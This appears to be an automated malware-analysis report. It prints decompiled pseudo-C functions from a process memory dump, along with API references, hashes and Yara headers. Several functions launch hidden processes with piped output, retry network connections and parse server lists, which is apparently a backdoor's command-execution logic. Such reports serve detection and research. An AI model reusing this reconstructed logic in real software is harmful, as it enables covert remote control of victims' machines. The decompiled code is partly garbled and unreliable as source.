											_v12 = 1;
										}
										goto L31;
									}
									__eflags = _t84;
									if(_t84 == 0) {
										L21:
										__eflags = _v12;
										_t98 = _t81;
										if(_v12 != 0) {
											_t75 = _t81;
											_t90 = _t75 % _v12;
											_t98 = _t98 - _t75 % _v12;
											__eflags = _t98;
										}
										_push(_t98);
										_push(_v8);
										_push(E0087AEDA(_t90, _t98, _t100));
										_t74 = E0087ADFE(_t81, _t90, _t98, _t100, __eflags);
										_t101 = _t101 + 0xc;
										__eflags = _t74 - 0xffffffff;
										if(_t74 == 0xffffffff) {
											L36:
											 *(_t100 + 0xc) =  *(_t100 + 0xc) | 0x00000020;
											_t69 = _v16;
											goto L35;
										} else {
											_t88 = _t98;
											__eflags = _t74 - _t98;
											if(_t74 <= _t98) {
												_t88 = _t74;
											}
											_v8 = _v8 + _t88;
											_t81 = _t81 - _t88;
											__eflags = _t74 - _t98;
											if(_t74 < _t98) {
												goto L36;
											} else {
												L27:
												_t97 = _v16;
												goto L31;
											}
										}
									}
									_t77 = E0087AF0C(_t100);
									__eflags = _t77;
									if(_t77 != 0) {
										goto L34;
									}
									goto L21;
								}
								_t78 =  *(_t100 + 4);
								__eflags = _t78;
								if(__eflags == 0) {
									goto L18;
								}
								if(__eflags < 0) {
									_t48 = _t100 + 0xc;
									 *_t48 =  *(_t100 + 0xc) | 0x00000020;
									__eflags =  *_t48;
									goto L34;
								}
								_t99 = _t81;
								__eflags = _t81 - _t78;
								if(_t81 >= _t78) {
									_t99 = _t78;
								}
								E0087B0A0(_t81, _t99, _t100,  *_t100, _v8, _t99);
								 *(_t100 + 4) =  *(_t100 + 4) - _t99;
								 *_t100 =  *_t100 + _t99;
								_t101 = _t101 + 0xc;
								_t81 = _t81 - _t99;
								_v8 = _v8 + _t99;
								goto L27;
								L31:
								__eflags = _t81;
							} while (_t81 != 0);
							goto L32;
						}
					}
					L3:
					_t61 = E0087625F(_t105);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					 *_t61 = 0x16;
					E008783FE(_t90, 0, _t100);
					goto L4;
				}
			}

0x008752ff
0x0087530f
0x00875335
0x00000000
0x00875316
0x00875316
0x00875319
0x0087531b
0x0087533c
0x0087533f
0x00875341
0x00000000
0x00000000
0x00875343
0x00875348
0x0087534b
0x0087534e
0x00000000
0x00000000
0x00875353
0x00875357
0x0087535e
0x00875361
0x00875364
0x00875366
0x00875370
0x00875368
0x0087536b
0x0087536b
0x00875377
0x00875379
0x0087543e
0x00000000
0x0087537f
0x0087537f
0x00875382
0x00875382
0x00875388
0x008753b9
0x008753b9
0x008753bc
0x00875415
0x0087541c
0x0087541f
0x0087544a
0x0087544a
0x0087544c
0x00000000
0x00875450
0x00875421
0x00875424
0x00875427
0x00875428
0x0087542b
0x0087542d
0x0087542f
0x0087542f
0x00000000
0x0087542d
0x008753be
0x008753c0
0x008753cd
0x008753cd
0x008753d1
0x008753d3
0x008753d7
0x008753d9
0x008753dc
0x008753dc
0x008753dc
0x008753de
0x008753df
0x008753e9
0x008753ea
0x008753ef
0x008753f2
0x008753f5
0x00875458
0x00875458
0x0087545c
0x00000000
0x008753f7
0x008753f7
0x008753f9
0x008753fb
0x008753fd
0x008753fd
0x008753ff
0x00875402
0x00875404
0x00875406
0x00000000
0x00875408
0x00875408
0x00875408
0x00000000
0x00875408
0x00875406
0x008753f5
0x008753c3
0x008753c9
0x008753cb
0x00000000
0x00000000
0x00000000
0x008753cb
0x0087538a
0x0087538d
0x0087538f
0x00000000
0x00000000
0x00875391
0x00875446
0x00875446
0x00875446
0x00000000
0x00875446
0x00875397
0x00875399
0x0087539b
0x0087539d
0x0087539d
0x008753a5
0x008753aa
0x008753ad
0x008753af
0x008753b2
0x008753b4
0x00000000
0x00875436
0x00875436
0x00875436
0x00000000
0x0087537f
0x00875379
0x0087531d
0x0087531d
0x00875322
0x00875323
0x00875324
0x00875325
0x00875326
0x00875327
0x0087532d
0x00000000
0x00875332

APIs

__flush.LIBCMT ref: 008753C3
__fileno.LIBCMT ref: 008753E3
__locking.LIBCMT ref: 008753EA
__flsbuf.LIBCMT ref: 00875415

Part of subcall function 0087625F: __getptd_noexit.LIBCMT ref: 0087625F

Part of subcall function 008783FE: __decode_pointer.LIBCMT ref: 00878409

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 3240763771-0
Opcode ID: c810f887ec7cd110908b956e270e3e4bf3c2f4d444bff1142ceb9a457f74ab07
Instruction ID: 0df799a297e8a33012765a70cee0a15fd94ae3fb049d3a1756bafd169fd2f636
Opcode Fuzzy Hash: c810f887ec7cd110908b956e270e3e4bf3c2f4d444bff1142ceb9a457f74ab07
Instruction Fuzzy Hash: 4441C771A00E08DBDB249F69C88059EB7B6FF81354B24C529E46DD7268E7F0DE818B45

Uniqueness

Uniqueness Score: -1.00%

Function 008659D9, Relevance: 6.1, APIs: 4, Instructions: 106
sleepCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E008659D9(signed int __eax, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v12;
				intOrPtr _v16;
				signed int _v20;
				char _v36;
				char _v103;
				char _v104;
				char _v167;
				char _v168;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t40;
				void* _t44;
				void* _t53;
				void* _t62;
				void* _t67;
				signed int _t68;
				signed int _t69;
				signed int _t71;
				void* _t77;

				_t77 = __eflags;
				_t69 = __eax;
				_v104 = 0;
				E0087C290(_t67,  &_v103, 0, 0x3f);
				_v168 = 0;
				E0087C290(_t67,  &_v167, 0, 0x3f);
				E008667D0( &_v36, _a4, _a8);
				_v16 = E008667E9( &_v36);
				_v20 = E0086682C( &_v36) & 0x0000ffff;
				_t68 = E0086682C( &_v36) & 0x0000ffff;
				_t40 = E008668FB( &_v104, _t77,  &_v36, 0x40);
				_t78 = _t40;
				if(_t40 == 0) {
					L6:
					return _t40;
				}
				_t40 = E008668FB( &_v168, _t78,  &_v36, 0x40);
				if(_t40 == 0) {
					goto L6;
				}
				asm("sbb esi, esi");
				_t71 =  ~_t69 & 0x00020000;
				_t53 = 0;
				while(1) {
					_t44 = E00865936(_t71,  &_v12, _t71,  &_v104);
					_pop(_t62);
					if(_t44 != 0) {
						break;
					}
					Sleep(0x1f4);
					_t53 = _t53 + 1;
					if(_t53 < 0x14) {
						continue;
					}
					return E00861E97(0x14, GetLastError());
				}
				__eflags = _t68;
				if(__eflags > 0) {
					E0086598E(_t62, _v12, _t68);
				}
				return E00865634(_t53, _t68, __eflags, _v12, _v16, _v20,  &_v168, _a12);
			}

0x008659d9
0x008659e9
0x008659f0
0x008659f3
0x00865a05
0x00865a0b
0x00865a1d
0x00865a2e
0x00865a3e
0x00865a4c
0x00865a58
0x00865a5f
0x00865a61
0x00865abe
0x00865abe
0x00865abe
0x00865a6f
0x00865a78
0x00000000
0x00000000
0x00865a7c
0x00865a7e
0x00865a84
0x00865a86
0x00865a8f
0x00865a94
0x00865a97
0x00000000
0x00000000
0x00865a9e
0x00865aa4
0x00865aa8
0x00000000
0x00000000
0x00000000
0x00865ab9
0x00865abf
0x00865ac1
0x00865ac7
0x00865acd
0x00000000

APIs

_memset.LIBCMT ref: 008659F3
_memset.LIBCMT ref: 00865A0B

Part of subcall function 0086682C: htons.WS2_32(?), ref: 00866844

Part of subcall function 00865936: GetLastError.KERNEL32(00000000,00000000,?,00865A94,?,?,?,?,?,?,?,?,?), ref: 00865950

Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?), ref: 00865A9E
GetLastError.KERNEL32(?,?,?,?,?,?,?,?), ref: 00865AAA

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: ErrorLast_memset$Sleephtons
String ID:
API String ID: 2264653377-0
Opcode ID: 13d9730587479d77025435d35310f9891cc750cd0d57e624f2cbf5ebff490825
Instruction ID: e9d38d7286a335444c484369b8d63cd6ef5de9ade2b23bbb69d5035b305f945b
Opcode Fuzzy Hash: 13d9730587479d77025435d35310f9891cc750cd0d57e624f2cbf5ebff490825
Instruction Fuzzy Hash: C231B47290021D6EDF11AAE8EC82EEE77BDFF04310F05003AF604E6051FA35DA188761

Uniqueness

Uniqueness Score: -1.00%

Function 0087F1E8, Relevance: 6.1, APIs: 4, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0087F1E8(void* __edx, void* __edi, short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				intOrPtr _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t74;

				_t74 = _a8;
				if(_t74 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t74 != 0) {
						E00877602( &_v20, __edx, __edi, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E0087DFB4( *_t74 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								_t40 = _v20 + 4; // 0x488d18c4
								__eflags = MultiByteToWideChar( *_t40, 9, _t74, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E0087625F(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t15 = _t56 + 0xac; // 0xffcb01e8
							_t65 =  *_t15;
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								_t24 = _t56 + 0xac; // 0xffcb01e8
								__eflags = _a12 -  *_t24;
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t74[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								_t26 = _t56 + 0xac; // 0xffcb01e8
								_t57 =  *_t26;
								__eflags = _v8;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t21 = _t56 + 4; // 0x488d18c4
							_t58 = MultiByteToWideChar( *_t21, 9, _t74, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t74 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

0x0087f1f2
0x0087f1f9
0x0087f210
0x00000000
0x0087f200
0x0087f202
0x0087f21c
0x0087f221
0x0087f224
0x0087f227
0x0087f250
0x0087f257
0x0087f259
0x0087f2da
0x0087f2ec
0x0087f2f5
0x0087f2f7
0x0087f237
0x0087f237
0x0087f23a
0x0087f23c
0x0087f23f
0x0087f23f
0x0087f23f
0x0087f23f
0x00000000
0x0087f245
0x0087f2b9
0x0087f2b9
0x0087f2be
0x0087f2c4
0x0087f2c7
0x0087f2c9
0x0087f2cc
0x0087f2cc
0x0087f2cc
0x0087f2cc
0x00000000
0x0087f2d0
0x0087f25b
0x0087f25e
0x0087f25e
0x0087f264
0x0087f267
0x0087f28e
0x0087f291
0x0087f291
0x0087f297
0x00000000
0x00000000
0x0087f299
0x0087f29c
0x00000000
0x00000000
0x0087f29e
0x0087f29e
0x0087f29e
0x0087f2a4
0x0087f2a7
0x0087f215
0x0087f215
0x0087f2b0
0x00000000
0x0087f2b0
0x0087f269
0x0087f26c
0x00000000
0x00000000
0x0087f270
0x0087f27e
0x0087f281
0x0087f287
0x0087f289
0x0087f28c
0x00000000
0x00000000
0x00000000
0x0087f28c
0x0087f229
0x0087f22c
0x0087f22e
0x0087f234
0x0087f234
0x00000000
0x0087f204
0x0087f204
0x0087f209
0x0087f20d
0x0087f20d
0x00000000
0x0087f209
0x0087f202

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0087F21C
__isleadbyte_l.LIBCMT ref: 0087F250
MultiByteToWideChar.KERNEL32(488D18C4,00000009,00000100,FFCB01E8,?,00000000,?,?,?,008665DB,00000100,?,00000000), ref: 0087F281
MultiByteToWideChar.KERNEL32(488D18C4,00000009,00000100,00000001,?,00000000,?,?,?,008665DB,00000100,?,00000000), ref: 0087F2EF

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 8533789c9b5b3a7982120b26c63106556ac66b6c8fa6a0931d82764bcc2bc5b8
Instruction ID: 3e594a5655310314568412afe43072062d334bd6984044317827624466fc4420
Opcode Fuzzy Hash: 8533789c9b5b3a7982120b26c63106556ac66b6c8fa6a0931d82764bcc2bc5b8
Instruction Fuzzy Hash: D931CE35A24249EFCB20DFA9C8849AA3BA1FF01310B24C578F669CB19BE730CD41DB51

Uniqueness

Uniqueness Score: -1.00%

Function 008647A0, Relevance: 6.1, APIs: 4, Instructions: 92
sleeppipeCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E008647A0(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
				void* _v12;
				void* _v16;
				struct _SECURITY_ATTRIBUTES _v28;
				intOrPtr _v36;
				char _v44;
				struct _STARTUPINFOA _v120;
				void* __edi;
				void* _t40;
				void* _t51;
				void* _t54;
				void* _t66;
				long _t69;
				void* _t77;

				_t77 = __eflags;
				E0086A815(_t40, _a36);
				_t69 = 0x44;
				E0087C290(_t66,  &_v120, 0, _t69);
				_v28.lpSecurityDescriptor = _v28.lpSecurityDescriptor & 0x00000000;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v120.cb = _t69;
				_v28.nLength = 0xc;
				_v28.bInheritHandle = 1;
				CreatePipe( &_v16,  &_v12,  &_v28, 0x100000);
				GetStartupInfoA( &_v120);
				_v120.hStdInput = _v120.hStdInput & 0x00000000;
				_v120.wShowWindow = 0;
				_t51 = _v12;
				_v120.hStdOutput = _t51;
				_v120.hStdError = _t51;
				_v120.dwFlags = 0x101;
				_t54 = E0086A25B( &_v44, _t77, _a32, _a36,  &_v120,  &_v44);
				_t78 = _t54;
				if(_t54 != 0) {
					Sleep(0x64);
					_t62 = _v44;
					E00864BD8(_v36, _v44,  &_v44, _t78, _a12, _a16, _a8, _a20, _a24);
					_t79 = _a4;
					if(_a4 > 0) {
						E0086598E(_t62, _v16, _a4);
					}
					_push(_a28);
					_push(_v12);
					_push(_v16);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					E008655CD(_t79);
				}
				return E0086A837(_a36);
			}

0x008647a0
0x008647ab
0x008647b3
0x008647bb
0x008647c0
0x008647c9
0x008647ca
0x008647cb
0x008647cf
0x008647e1
0x008647e4
0x008647eb
0x008647f2
0x008647fc
0x00864802
0x00864808
0x0086480c
0x0086480f
0x00864812
0x00864820
0x0086482a
0x00864832
0x00864834
0x00864838
0x00864847
0x00864856
0x0086485e
0x00864862
0x0086486a
0x00864870
0x00864871
0x00864877
0x0086487a
0x00864882
0x00864883
0x00864884
0x00864885
0x00864886
0x0086488b
0x0086489a

APIs

_memset.LIBCMT ref: 008647BB
CreatePipe.KERNEL32(?,00000000,?,00100000,?,?,00000000), ref: 008647F2
GetStartupInfoA.KERNEL32(?), ref: 008647FC
Sleep.KERNEL32(00000064,?,?,?,?,?,?,00000000), ref: 00864838

Part of subcall function 0086598E: GetTickCount.KERNEL32 ref: 008659A0
Part of subcall function 0086598E: GetTickCount.KERNEL32 ref: 008659CE

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: CountTick$CreateInfoPipeSleepStartup_memset
String ID:
API String ID: 2883758626-0
Opcode ID: 078ec78579442b6b8d8a6e8713271dae7d2e3e6e2168fafbaf4083d5e02cdebe
Instruction ID: d332925965078233b78f6ba5fae8b2353ad13c07d9e42ca9f11c59899c64e20f
Opcode Fuzzy Hash: 078ec78579442b6b8d8a6e8713271dae7d2e3e6e2168fafbaf4083d5e02cdebe
Instruction Fuzzy Hash: 9431187280020DAFDF01EFE8DC4AADEBBB9FF08314F150125FA04B6151EB7296558B92

Uniqueness

Uniqueness Score: -1.00%

Function 008629A0, Relevance: 6.1, APIs: 4, Instructions: 72
synchronizationpipeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E008629A0(void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				void* _v8;
				void* _v12;
				struct _SECURITY_ATTRIBUTES _v24;
				void* _v40;
				struct _STARTUPINFOA _v116;
				void* __edi;
				void* _t34;
				void* _t37;
				long _t40;

				_t40 = 0x44;
				E0087C290(_t40,  &_v116, 0, _t40);
				_v116.cb = _t40;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v24.lpSecurityDescriptor = 0;
				_v24.nLength = 0xc;
				_v24.bInheritHandle = 1;
				CreatePipe( &_v12,  &_v8,  &_v24, 0x100000);
				GetStartupInfoA( &_v116);
				_v116.wShowWindow = 0;
				_t34 = _v8;
				_v116.hStdOutput = _t34;
				_v116.hStdError = _t34;
				_v116.dwFlags = 0x101;
				_v116.hStdInput = 0;
				_t37 = E00867690(_a4, _a8,  &_v116,  &_v40, 0x10, 0);
				if(_t37 != 0) {
					WaitForSingleObject(_v40, 0x2710);
					_push(_v8);
					_push(_v12);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					return E0086559E();
				}
				return _t37;
			}

0x008629aa
0x008629b3
0x008629b8
0x008629c0
0x008629c1
0x008629c2
0x008629c6
0x008629d8
0x008629db
0x008629e2
0x008629e9
0x008629f3
0x008629fb
0x008629ff
0x00862a03
0x00862a06
0x00862a16
0x00862a20
0x00862a23
0x00862a2d
0x00862a37
0x00862a3d
0x00862a43
0x00862a4b
0x00862a4c
0x00862a4d
0x00862a4e
0x00000000
0x00862a54
0x00862a5a

APIs

_memset.LIBCMT ref: 008629B3
CreatePipe.KERNEL32(00000000,00000002,?,00100000,?,00002000,00000000), ref: 008629E9
GetStartupInfoA.KERNEL32(?), ref: 008629F3
WaitForSingleObject.KERNEL32(?,00002710,?,?,?,?,?,?,?,00002000,00000000), ref: 00862A37

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: CreateInfoObjectPipeSingleStartupWait_memset
String ID:
API String ID: 468459245-0
Opcode ID: 9b5718de7caeb9aaf10babfa2579ceecf9fee53c2681fc8045ab3d139daf3a2d
Instruction ID: f830e7aa1c9217e7e08bc8a434b1b63342e3a7fd44d00a2f887397e460591d01
Opcode Fuzzy Hash: 9b5718de7caeb9aaf10babfa2579ceecf9fee53c2681fc8045ab3d139daf3a2d
Instruction Fuzzy Hash: 8321E87690051CBADB11DFE8DD49ADEBBB9FF48700F10005AFA04F6151E7729A058BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00861139, Relevance: 6.1, APIs: 4, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00861139(signed int __eax, void* __ecx, void* __eflags, intOrPtr _a4) {
				intOrPtr* _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t17;
				intOrPtr* _t27;
				signed int _t29;
				signed int* _t31;
				void* _t36;
				void* _t37;

				_t31 =  *0x8975ec;
				_t23 = __eax;
				_v8 = E00874855(__eax, _t29, _t31, 0x2000);
				 *((char*)(_t23 + _a4)) = 0;
				E0086420B(_t23, _t13, 0x2000);
				_t37 = _t36 + 0x10;
				while(1) {
					_t40 = _t31;
					if(_t31 == 0) {
						break;
					}
					__eflags =  *_t31 - 1;
					if( *_t31 != 1) {
						L11:
						_t31 = _t31[0x1001];
						continue;
					}
					_t27 = _v8;
					_t23 =  &(_t31[1]);
					_t17 =  &(_t31[1]);
					while(1) {
						_t29 =  *_t17;
						__eflags = _t29 -  *_t27;
						if(_t29 !=  *_t27) {
							break;
						}
						__eflags = _t29;
						if(_t29 == 0) {
							L7:
							_t17 = 0;
							L9:
							__eflags = _t17;
							if(_t17 == 0) {
								 *_t31 =  *_t31 & _t17;
								__eflags =  *_t31;
								E0087C290(_t31, _t23, _t17, 0x2000);
								E0087C290(_t31,  &(_t31[0x801]), 0, 0x2000);
								_t37 = _t37 + 0x18;
							}
							goto L11;
						}
						_t29 =  *((intOrPtr*)(_t17 + 1));
						__eflags = _t29 -  *((intOrPtr*)(_t27 + 1));
						if(_t29 !=  *((intOrPtr*)(_t27 + 1))) {
							break;
						}
						_t17 = _t17 + 2;
						_t27 = _t27 + 2;
						__eflags = _t29;
						if(_t29 != 0) {
							continue;
						}
						goto L7;
					}
					asm("sbb eax, eax");
					asm("sbb eax, 0xffffffff");
					goto L9;
				}
				E0087C290(_t31, _v8, _t31, 0x2000);
				_push(_v8);
				return E00874778(_t23, _t29, _t31, 0x2000, _t40);
			}

0x00861140
0x0086114c
0x00861159
0x0086115c
0x00861160
0x00861165
0x008611c0
0x008611c0
0x008611c2
0x00000000
0x00000000
0x0086116a
0x0086116d
0x008611ba
0x008611ba
0x00000000
0x008611ba
0x0086116f
0x00861172
0x00861175
0x00861177
0x00861177
0x00861179
0x0086117b
0x00000000
0x00000000
0x0086117d
0x0086117f
0x00861191
0x00861191
0x0086119a
0x0086119a
0x0086119c
0x0086119e
0x0086119e
0x008611a3
0x008611b2
0x008611b7
0x008611b7
0x00000000
0x0086119c
0x00861181
0x00861184
0x00861187
0x00000000
0x00000000
0x0086118a
0x0086118c
0x0086118d
0x0086118f
0x00000000
0x00000000
0x00000000
0x0086118f
0x00861195
0x00861197
0x00000000
0x00861197
0x008611c9
0x008611ce
0x008611dd

APIs

_malloc.LIBCMT ref: 0086114E

Part of subcall function 00874855: __FF_MSGBANNER.LIBCMT ref: 00874878
Part of subcall function 00874855: __NMSG_WRITE.LIBCMT ref: 0087487F
Part of subcall function 00874855: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,0087C679,00000000,00000001,00000000,?,00876452,00000018,0088F6E8,0000000C,008764E3), ref: 008748CC

Part of subcall function 0086420B: ExpandEnvironmentStringsA.KERNEL32(0086A219,00000000,00000000,008683CE,00000100,?,0086A1F1,?,0086A219,00000100,?,?,?,?,?,008683CE), ref: 0086421D

_memset.LIBCMT ref: 008611A3
_memset.LIBCMT ref: 008611B2
_memset.LIBCMT ref: 008611C9

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: _memset$AllocateEnvironmentExpandHeapStrings_malloc
String ID:
API String ID: 2041733451-0
Opcode ID: 3b262b405a6611f8150a6a6d07af4a262040f55281f1e04e55d801442c43a692
Instruction ID: d167b7921d0e671ab9b18d6ff864a54cb865ddc865e35df9fec6ae4a59fc33a1
Opcode Fuzzy Hash: 3b262b405a6611f8150a6a6d07af4a262040f55281f1e04e55d801442c43a692
Instruction Fuzzy Hash: 91115B71A001447ACF105B788C89EB6BB6EFF13364F191169F65CD7253E3329D04C2A1

Uniqueness

Uniqueness Score: -1.00%

Function 0086A3D0, Relevance: 6.1, APIs: 4, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0086A3D0(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				signed int _t10;
				signed int _t12;
				intOrPtr* _t14;
				intOrPtr _t17;
				signed int _t19;
				signed int _t21;
				void* _t24;
				intOrPtr* _t26;
				intOrPtr _t32;
				intOrPtr _t33;
				void* _t36;

				if( *0x897e78 != 0) {
					_t10 =  *0x8975d0;
				} else {
					_t14 = _a4;
					_t24 = _t14 + 1;
					do {
						_t32 =  *_t14;
						_t14 = _t14 + 1;
					} while (_t32 != 0);
					_t17 = E00874855(__ebx, _t32, __edi, _t14 - _t24 + 1);
					_t26 = _a4;
					 *0x897e78 = _t17;
					_t36 = _t26 + 1;
					do {
						_t33 =  *_t26;
						_t26 = _t26 + 1;
						_t44 = _t33;
					} while (_t33 != 0);
					E00875100(_t17, _a4, _t26 - _t36 + 1);
					 *0x895edc =  *0x895edc & 0x00000000;
					_t37 = ",";
					_t19 = E00875EBD(_t33, _t44,  *0x897e78, ",");
					while(_t19 != 0) {
						 *0x895edc =  *0x895edc + 1;
						__eflags =  *0x895edc;
						 *(0x896f90 +  *0x895edc * 4) = _t19;
						_t19 = E00875EBD(_t33,  *0x895edc, 0, _t37);
					}
					_t10 = _t19 | 0xffffffff;
					 *0x8975d0 = _t10;
				}
				_t21 =  *0x895edc;
				if(_t10 < 0 || _t10 >= _t21) {
					__eflags = _t21 - 1;
					_t12 = E0086A3BE(E0086A3AB(_t21 - 1));
					 *0x8975d0 = _t12;
				} else {
					_t12 = _t10 + 1;
					 *0x8975d0 =  *0x8975d0 | 0xffffffff;
				}
				return  *((intOrPtr*)(0x896f90 + _t12 * 4));
			}

0x0086a3da
0x0086a460
0x0086a3e0
0x0086a3e0
0x0086a3e3
0x0086a3e6
0x0086a3e6
0x0086a3e8
0x0086a3e9
0x0086a3f2
0x0086a3f8
0x0086a3fb
0x0086a400
0x0086a403
0x0086a403
0x0086a405
0x0086a406
0x0086a406
0x0086a412
0x0086a417
0x0086a41e
0x0086a42a
0x0086a451
0x0086a43a
0x0086a43a
0x0086a443
0x0086a44a
0x0086a450
0x0086a455
0x0086a458
0x0086a45d
0x0086a465
0x0086a46d
0x0086a47d
0x0086a485
0x0086a48a
0x0086a473
0x0086a473
0x0086a474
0x0086a474
0x0086a497

APIs

_malloc.LIBCMT ref: 0086A3F2
_strncpy.LIBCMT ref: 0086A412
_strtok.LIBCMT ref: 0086A42A
_strtok.LIBCMT ref: 0086A44A

Part of subcall function 00875EBD: __getptd.LIBCMT ref: 00875EDB

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: _strtok$__getptd_malloc_strncpy
String ID:
API String ID: 4272429445-0
Opcode ID: 6c7d9200cc80668fefd2ce9165ff5003520e825eee7a4d37395393617f54aafa
Instruction ID: c70a2b87229ca9ea4dde3b6802e4694711785e07d67ead5124cf838bbaef8b92
Opcode Fuzzy Hash: 6c7d9200cc80668fefd2ce9165ff5003520e825eee7a4d37395393617f54aafa
Instruction Fuzzy Hash: CC1124310186049FD70CBF38FC48A6A3B64F701364F1A422AE549C76A1EFB2D805CF42

Uniqueness

Uniqueness Score: -1.00%

Function 0086A0C3, Relevance: 6.1, APIs: 4, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 27%

			E0086A0C3(signed int* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t12;
				signed int _t16;
				void* _t18;
				intOrPtr _t20;
				signed int* _t21;
				void* _t22;
				intOrPtr _t23;
				void* _t25;

				_t22 = __edx;
				_t21 = __ecx;
				_t23 =  *0x897e6c;
				_t12 = 0;
				if(_t23 == 0) {
					L2:
					_t19 = E00866769(_t18, _t28, 0x200);
					_t23 = E00866857(_t13, 0x100);
					 *0x897e6c = _t23;
					_t20 = E00866857(_t19, 0x100);
					_t25 = _t25 + 0x14;
					 *0x897e70 = _t20;
					_t12 = 0;
				} else {
					_t20 =  *0x897e70;
					_t28 = _t20;
					if(_t20 == 0) {
						goto L2;
					}
				}
				if(_a8 == _t12 || _a8 > 0x100) {
					_t16 = E0087C290(_t23, _t23, _t12, 0x100);
					goto L12;
				} else {
					_push(0x100);
					_push(_t12);
					if(_a12 == _t12) {
						_push(_t20);
						_t16 = E0087C290(_t23);
						_push(_a8);
						_push(_a4);
						if(__eflags != 0) {
							L12:
							 *_t21 =  *_t21 & _t16;
							 *0x0000016A =  *((intOrPtr*)(0x16a)) + _t22;
							 *((intOrPtr*)(_t20 - 0x18)) =  *((intOrPtr*)(_t20 - 0x18)) + _t22;
							__eflags =  *_t21 - _t16;
							 *_t16 =  *_t16 + _t16;
							__eflags =  *_t16;
						} else {
							_push(_t20);
							goto L7;
						}
					} else {
						_push(_t23);
						E0087C290(_t23);
						_push(_a8);
						_push(_a4);
						_push(_t23);
						L7:
						_t16 = E0087B0A0(_t20, _t23, 0x100);
					}
				}
				return _t16;
			}

0x0086a0c3
0x0086a0c3
0x0086a0c9
0x0086a0cf
0x0086a0d8
0x0086a0e4
0x0086a0ee
0x0086a0f7
0x0086a0fb
0x0086a106
0x0086a108
0x0086a10b
0x0086a111
0x0086a0da
0x0086a0da
0x0086a0e0
0x0086a0e2
0x00000000
0x00000000
0x0086a0e2
0x0086a116
